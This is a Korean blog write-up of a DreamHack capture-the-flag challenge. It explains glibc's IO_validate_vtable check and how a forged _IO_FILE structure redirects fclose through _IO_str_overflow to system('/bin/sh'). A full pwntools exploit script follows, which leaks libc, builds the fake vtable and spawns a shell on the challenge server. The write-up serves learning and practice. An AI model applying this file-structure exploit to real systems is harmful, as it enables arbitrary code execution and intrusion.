CIDY
[System_Hacking] AD: stage6_문제풀이(Bypass IO_validate_vtable) 본문
[System_Hacking] AD: stage6_문제풀이(Bypass IO_validate_vtable)
CIDY 2022. 7. 15. 02:09파일 관련 함수가 호출될 땐 전달된 파일 포인터의 vtable주소를 참조한다. 이를 이용해 쉘을 획득할 수 있음.
우선 _IO_validate_vtable에 대한 이해가 선행되어야 한다.
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
이게 뭐냐면 IO_validate_vtable함수 코드이다. vtable은 __libc_IO_vtables섹션에 할당되는데, 코드에서는 해당 섹션의 시작 주소와 끝 주소를 빼서 섹션의 크기를 알아내고, 호출하려는 vtable의 주소가 섹션 크기를 벗어나는 값이면 _IO_vtable_check함수를 호출해 에러를 발생시킨다.
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
이건 _IO_str_overflow함수인데, __libc_IO_vtables섹션에 존재하는 함수이다.
코드 아래쪽을 보면 _s._allocate_buffer하는 이름의 함수 포인터를 호출한다. 이 함수 포인터의 인자로 new_size변수가 전달되는데,
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
그 변수의 값은 위와 같은 코드로 결정된다. _IO_FILE구조체 변수인 _IO_buf_end와 _IO_buf_base변수의 뺄셈 연산 값을 이용하고 있다. -> 이전 문제들처럼 파일 구조체를 조작할 수 있다면 new_size를 조작할 수 있다!
int flush_only = c == EOF;
_IO_size_t pos;
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
이건 함수 포인터를 호출하기 위해 통과해야 하는 조건문인데, 여기서도 _IO_FILE구조체 멤버들의 연산 결과가 이용되고 있는 것을 볼 수 있다.
flush_only변수의 기본값은 0이다. 따라서 저 조건문을 요약하면 pos >= _IO_blen(fp)가 된다.
그러니까 _IO_write_base를 0으로 만들면 _IO_write_ptr값 == pos값 이 되므로 간단히 구문을 통과하고 함수 포인터를 호출할 수 있게 된다.
요약: _IO_str_overflow함수로 흐름 조작 후 조건문 통과하면 _s._allocate_buffer하는 이름의 함수 포인터를 호출 가능. 그거 인자로 들어가는 new_size역시 파일 구조체 조작으로 조작가능 -> system("/bin/sh")만들기 가능
// Name: bypass_valid_vtable
// gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie
// 64-bit, nx, parital relro
#include <stdio.h>
#include <unistd.h>
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
init();
fp = fopen("/dev/urandom", "r");
printf("stdout: %p\n", stdout);
printf("Data: ");
read(0, fp, 300);
fclose(fp);
}
파일 포인터에 값을 잘 써 _IO_FILE구조체를 조작해보자.
일단 위에서 new_size를 연산하는 식을 거꾸로 해 인자를 맞춰줄 수 있다.
vtable을 조작할 때는 IO_validate_vtable함수의 검사를 우회할 수 있는 주소로 덮어써야 한다. -> 일단 위 문제에서는 파일 구조체를 덮어쓸 수 있는 read가 수행된 뒤 fclose가 호출되는데, 얘는 또 그 안에서 _IO_FINISH함수를 호출한다.
근데 이 함수는 __libc_IO_vtables섹션 안에 존재한다. -> 조작 가능
fclose함수 내부에서 _IO_FINISH함수를 호출하기 전에 파일 구조체의 vtable주소를 조작해 IO_str_overflow(아까 그 함수 포인터 호출하는 애)를 호출하도록 하고,
아까 그 함수 포인터를 system으로 조작하고 new_size를 /bin/sh로 만들어 줄 수 있다.
그럼 어떻게 _IO_str_overflow를 호출할거냐면 ->
fclose가 호출하는 _IO_FINISH는 vtable주소 + 16한 위치의 주소를 호출해온다 -> vtable을 IO_str_overflow - 16으로 세팅해주면 _IO_str_overflow를 호출하도록 할 수 있다.
그리고 그 함수 내부에 시스템으로 덮어야하는 함수 포인터의 경우 vtable + 8을 의미하기 때문에 조작한 vtable주소 바로뒤에 system주소를 써 주면 된다.
그리고 이걸 보면 _IO_new_file_finish보다 0xc8만큼 뒤에 그 함수가 있는걸 볼 수 있다. vtable값을 원래보다 0xc8큰 값으로 해 줘야 한다.
그럼 IO_str_overflow는 0xd8만큼 크게 해 주고, 조작할 vtable값은 0xc8크게 해 주면 됨.
from pwn import *
p = remote("host3.dreamhack.games", 24377)
libc = ELF("libc.so.6")
e = ELF("./bypass_valid_vtable")
p.recvuntil(b": ")
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
print(hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))
io_str_overflow = libc_base + libc.sym['_IO_file_jumps'] + 0xd8
fake_vtable = libc_base + libc.sym['_IO_file_jumps'] + 0xc8
fp = e.sym['fp']
blen = ((binsh - 100) // 2)
print(hex(binsh))
print(hex(blen))
pay = p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0) #write_base
pay += p64(blen) #write_ptr
pay += p64(0) #write_end
pay += p64(0) #buf_base
pay += p64(blen) #buf_end
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0) #fileno
pay += p64(0) #_old_offset
pay += p64(0)
pay += p64(fp + 0x80) #vtable_offset
pay += p64(0) * 9
pay += p64(fake_vtable)
pay += p64(system)
p.send(pay)
p.interactive()
자꾸 blen값이 정수가 아니라고 해서 binsh를 출력까지 시켜봤는데 짝수여서 뭐가 문제지 생각하다가 그냥 // 으로 써주니까 됐다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[Cryptography] stage1_intro (0) | 2022.07.19 |
---|---|
[Reverse_Engineering] stage2_Binary&Analysis (0) | 2022.07.16 |
[System_Hacking] AD: stage6_문제풀이(_IO_FILE Arbitrary Address Write) (0) | 2022.07.15 |
[System_Hacking] AD: stage6_문제풀이(_IO_FILE Arbitrary Address Read) (0) | 2022.07.14 |
[System_Hacking] AD: stage6__IO_FILE (0) | 2022.07.14 |